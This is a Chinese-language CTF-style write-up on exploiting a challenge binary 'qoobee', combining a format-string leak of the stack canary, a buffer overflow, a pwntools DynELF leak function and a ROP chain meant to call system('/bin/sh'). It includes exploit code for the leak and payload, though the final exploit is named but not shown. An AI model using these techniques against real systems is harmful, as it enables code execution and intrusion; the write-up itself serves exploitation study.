x86 Memory Leak在不获取libc.so的情况下进行ROP攻击

下载qoobee
分析程序:
1.运行程序

2.找到第一个功能:

3.进入adopt函数:

可以看到开辟了一个堆,这个堆是用来存储QooBee信息的,返回堆的指针,保存在main函数的ebp-10h
堆中信息和位置:

4.分析整个程序,发现show_info()函数里有一个format string漏洞。

description()函数里有一个buffer overflow函数。但是函数有栈保护,需要知道canary,正好可以通过前面发现的format string漏洞得到(同一个程序的不同函数里的canary是相同的)。

5.通过format string漏洞获得canary和ebp的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p.recvuntil('Your Choice: ')
p.sendline('1')
p.recvuntil('QooBee Name: ')
p.sendline('1')
p.recvuntil('QooBee Age: ')
p.sendline('AAAA%11$x%14$x') #格式化字符串,打印出栈上第11和第14个存储单元,对应的是canary和ebp的值
p.recvuntil('Description(30 bytes): ')
p.sendline('1')
p.recvuntil('Your Choice: ')
p.sendline('2')
p.recvuntil('AAA')
leak_mem = p.recv(16)
canary = atoi(leak_mem[:8], 16)
ebp = atoi(leak_mem[8:], 16) - 0x30 #show_info()的ebp比description()的ebp大0x30,可以通过下断点查看

6.获得canary和ebp就可以利用buffer overflow的漏洞了,下一步就是获取system()函数在内存中的地址。这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。
leak函数应该是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def leak(address):
p.recvuntil('Your Choice: ')
p.sendline('1')
p.recvuntil('QooBee Name: ')
p.sendline('1')
p.recvuntil('QooBee Age: ')
p.sendline('1')
p.recvuntil('Description(30 bytes): ')

payload = 'A' * 30 + p32(canary) + 'B' * 8 + p32(ebp) + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(address) + p32(4)
p.sendline(payload)
try:
data = p.recv(4)
return data
except:
return None

7.随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./qoobee'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。

1
2
3
d = DynELF(leak, elf = ELF('./qoobee'))
system_addr = d.lookup('system', 'libc')
print "system_addr = " + hex(system_addr)

8.要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S qoobee这个命令就可以获取到.bss段的地址了。

$ readelf -S qoobee There are 28 section headers, starting at offset 0x279c:

Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 …… [22] .got PROGBITS 0804b5fc 0025fc 000004 04 WA 0 0 4 [23] .got.plt PROGBITS 0804b600 002600 000070 04 WA 0 0 4 [24] .data PROGBITS 0804b670 002670 00000c 00 WA 0 0 4 [25] .bss NOBITS 0804b680 00267c 00000c 00 WA 0 0 32 ……

9.因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。
10.整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。
最终的exp
reference
http://drops.wooyun.org/papers/7551